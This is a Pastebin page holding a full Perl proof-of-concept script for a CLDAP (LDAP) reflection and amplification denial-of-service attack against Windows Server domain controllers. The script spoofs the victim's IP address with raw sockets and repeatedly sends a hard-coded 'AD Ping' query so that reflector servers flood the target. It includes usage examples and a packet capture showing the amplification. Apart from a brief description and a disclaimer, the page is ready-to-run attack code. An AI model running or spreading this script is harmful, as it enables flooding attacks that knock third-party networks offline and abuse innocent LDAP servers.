Guest User

LDAP Reflection DDoS Attack Perl Script

a guest
Feb 22nd, 2017
5,248
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.45 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. # MS Windows Server 2008/2008 R2/ 2012/2012 R2/ AD LDAP RootDSE Netlogon
  4. # (CLDAP "AD Ping") query reflection DoS PoC
  5. #
  6. # http://www.OrlandoPCRepair.biz
  7. # https://www.youtube.com/user/OrlandoPCRepair
  8. # https://www.facebook.com/OrlandoPCRepair
  9. # http://www.twitter.com/OrlandoPCRepair
  10. # http://pastebin.com/u/hackerscommunity
  11. #
  12. # MS Windows Server 2016 [NOT TESTED !!!]
  13. #
  14. # Description:
  15. # The attacker sends a simple query to a vulnerable reflector
  16. # supporting the Connectionless LDAP service (CLDAP) and using
  17. # address spoofing makes it appear to originate from the intended
  18. # victim. The CLDAP service responds to the spoofed address,
  19. # sending unwanted network traffic to the attacker’s intended target.
  20. #
  21. # Amplification techniques allow bad actors to intensify the size
  22. # of their attacks, because the responses generated by the LDAP
  23. # servers are much larger than the attacker’s queries. In this case,
  24. # the LDAP service responses are capable of reaching very high
  25. # bandwidth and we have seen an average amplification factor of
  26. # 46x and a peak of 55x.
  27. #
  28. #
  29. # Disclaimer:
  30. # This or previous program is for Educational purpose ONLY. Do not
  31. # use it without permission. The usual disclaimer applies, especially
  32. # the fact that Todor Donev is not liable for any damages caused by
  33. # direct or indirect use of the information or functionality provided
  34. # by these programs. The author or any Internet provider bears NO
  35. # responsibility for content or misuse of these programs or any
  36. # derivatives thereof. By using these programs you accept the fact
  37. # that any damage (dataloss, system crash, system compromise, etc.)
  38. # caused by the use of these programs is not Todor Donev's
  39. # responsibility.
  40. #
  41. # Use at your own risk and educational
  42. # purpose ONLY!
  43. #
  44. # See also, UDP-based Amplification Attacks:
  45. # https://www.us-cert.gov/ncas/alerts/TA14-017A
  46. #
  47. #
  48. # # perl cldapdrdos.pl 192.168.1.112 192.168.1.146
  49. # [ MS Windows Server 2008/2008 R2/ 2012/2012 R2/ AD LDAP RootDSE Netlogon (CLDAP "AD Ping") query reflection DoS PoC
  50. # [ ======
  51. # [ Usg: cldapdrdos.pl <ldap server> <target> <port>
  52. # [ Default port: 389
  53. # [ Example: perl cldapdrdos.pl 192.168.30.56 192.168.1.1
  54. # [ ======
  55. # [ www.OrlandoPCRepair.biz
  56. # [ Facebook: https://www.facebook.com/OrlandoPCRepair
  57. # [ Youtube: https://www.youtube.com/user/OrlandoPCRepair
  58. # [ Sending CLDAP "AD Ping" packets..
  59. # ^C
  60. # # tcpdump -i eth0 -c4 port 389
  61. # tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
  62. # listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
  63. # 00:00:58.638466 IP attacker.31337 > target.ldap: UDP, length 57
  64. # 00:00:58.639360 IP target.ldap > attacker.31337: UDP, length 2315 ## LOOOL...
  65. # 00:00:59.039293 IP attacker.31337 > target.ldap: UDP, length 57
  66. # 00:00:59.041043 IP target.ldap > attacker.31337: UDP, length 2315 ## LOOOL...
  67. # 4 packets captured
  68. # 6 packets received by filter
  69. # 0 packets dropped by kernel
  70. #
  71. #
  72. #
  73.  
  74. use Net::RawIP;
  75.  
  76. print "[ MS Windows Server 2008/2008 R2/ 2012/2012 R2/ AD LDAP RootDSE Netlogon (CLDAP \"AD Ping\") query reflection DoS PoC\n";
  77. print "[ ======\n";
  78. print "[ Usg: $0 <ldap server> <target> <port>\n";
  79. print "[ Default port: 389\n";
  80. print "[ Example: perl $0 192.168.30.56 192.168.1.1\n";
  81. print "[ ======\n";
  82. print "[ www.OrlandoPCRepair.biz\n";
  83. print "[ Facebook: https://www.facebook.com/OrlandoPCRepair\n";
  84. print "[ Twitter: https://www.Twitter.com/OrlandoPCRepair\n";
  85.  
  86. my $cldap = $ARGV[0];
  87. my $target = $ARGV[1];
  88. my $port = $ARGV[2] || '389';
  89.  
  90. die "[ Error: Port must be between 1 and 65535!\n" if ($port < 1 || $port > 65535);
  91.  
  92. my $query = "\x30\x25\x02\x01\x01\x63\x20\x04\x00\x0a";
  93. $query .= "\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01";
  94. $query .= "\x00\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65";
  95. $query .= "\x63\x74\x63\x6c\x61\x73\x73\x30\x00\x00";
  96. $query .= "\x00\x30\x84\x00\x00\x00\x0a\x04\x08\x4e";
  97. $query .= "\x65\x74\x6c\x6f\x67\x6f\x6e";
  98.  
  99. my $sock = new Net::RawIP({ udp => {} }) or die;
  100. print "[ Sending CLDAP \"AD Ping\" packets..\n";
  101. while () {
  102. select(undef, undef, undef, 0.40); # Sleep 400 milliseconds
  103. $sock->set({ ip => { saddr => $target, daddr => $cldap},
  104. udp => { source => 31337, dest => $port, data => $query} });
  105. $sock->send;
  106. }
Advertisement
Add Comment
Please, Sign In to add comment